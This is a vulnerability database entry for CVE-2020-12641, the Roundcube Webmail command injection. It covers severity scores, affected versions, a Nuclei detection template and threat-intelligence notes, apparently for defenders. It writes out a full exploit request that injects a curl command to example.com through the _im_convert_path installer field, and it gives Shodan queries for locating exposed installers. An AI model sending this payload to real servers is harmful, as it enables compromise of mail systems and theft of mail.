cbcvebase.
CVE-2020-12641
published 2020-05-04

CVE-2020-12641: rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for…

PriorityP192critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2023-07-13
Exploited in the wild
EPSS
84.46%
99.7th percentile
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.

Affected

10 ranges
VendorProductVersion rangeFixed in
debianroundcube< roundcube 1.4.4+dfsg.1-1 (bookworm)roundcube 1.4.4+dfsg.1-1 (bookworm)
debianroundcube
opensusebackports_sle
opensuseleap
opensuseleap
roundcubewebmail< 1.5.71.5.7
roundcubewebmail>= 1.2.0 < 1.2.101.2.10
roundcubewebmail>= 1.3.0 < 1.3.111.3.11
roundcubewebmail>= 1.4.0 < 1.4.41.4.4
roundcubewebmail>= 1.6.0 < 1.6.71.6.7

Detection & IOCsextracted from sources · hover to see the quote

url{{BaseURL}}/installer/index.php
url{{BaseURL}}/roundcube/installer/index.php
command_step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_spellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=localhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=587&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=300&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=enigma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&G&_im_convert_path=curl+http%3a//example.com
yara
id: CVE-2020-12641
info:
  name: Roundcube Webmail - Command Injection
  author: domwhewell-sage
  severity: critical
  tags: cve,cve2020,roundcube,webmail,intrusive,kev,vkev,vuln
http:
  - method: POST
    path:
      - "{{BaseURL}}/installer/index.php"
      - "{{BaseURL}}/roundcube/installer/index.php"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Roundcube Webmail Installer'
          - 'The config file was saved successfully'
        condition: and
      - type: status
        status:
          - 200
  • Exploit targets the Roundcube installer endpoint via POST to /installer/index.php or /roundcube/installer/index.php, injecting shell metacharacters into the _im_convert_path parameter to achieve command injection.
  • Detect POST requests to /installer/index.php containing _im_convert_path or _im_identify_path parameters with shell metacharacters or external command strings (e.g., curl, wget).
  • Shodan queries for exposed Roundcube installer interfaces: http.component:"roundcube" or cpe:"cpe:2.3:a:roundcube:webmail" can identify vulnerable targets.
  • Response body containing both 'Roundcube Webmail Installer' and 'The config file was saved successfully' with HTTP 200 indicates successful exploitation of the installer configuration endpoint.
  • BlueDelta (APT28) exploitation of CVE-2020-12641 was chained with CVE-2020-35730 and CVE-2021-44026 in spearphishing emails containing JavaScript attachments that fetched additional payloads from attacker-controlled infrastructure.
  • Post-exploitation activity includes creation of email forwarding rules to redirect victim emails to attacker-controlled addresses, and harvesting of session cookies and address books.
  • APT28 routed attack traffic through compromised SOHO devices to obscure origin; network defenders should correlate Roundcube installer POST requests with SOHO device IP ranges.
  • ·CVE-2020-12641 was incompletely fixed; CVE-2024-37385 exists as a bypass affecting Roundcube before 1.5.7 and 1.6.x before 1.6.7 on Windows via the same im_convert_path and im_identify_path vectors.
  • ·Exploitation requires the attacker to control Roundcube configuration settings (e.g., via the exposed installer); the installer endpoint should be disabled or access-restricted in production deployments.
  • ·The Nuclei template targets Roundcube versions before 1.4.4; patched versions are 1.4.5, 1.3.12 or later.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_debian9.8LOW
vendor_ubuntu6.1MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.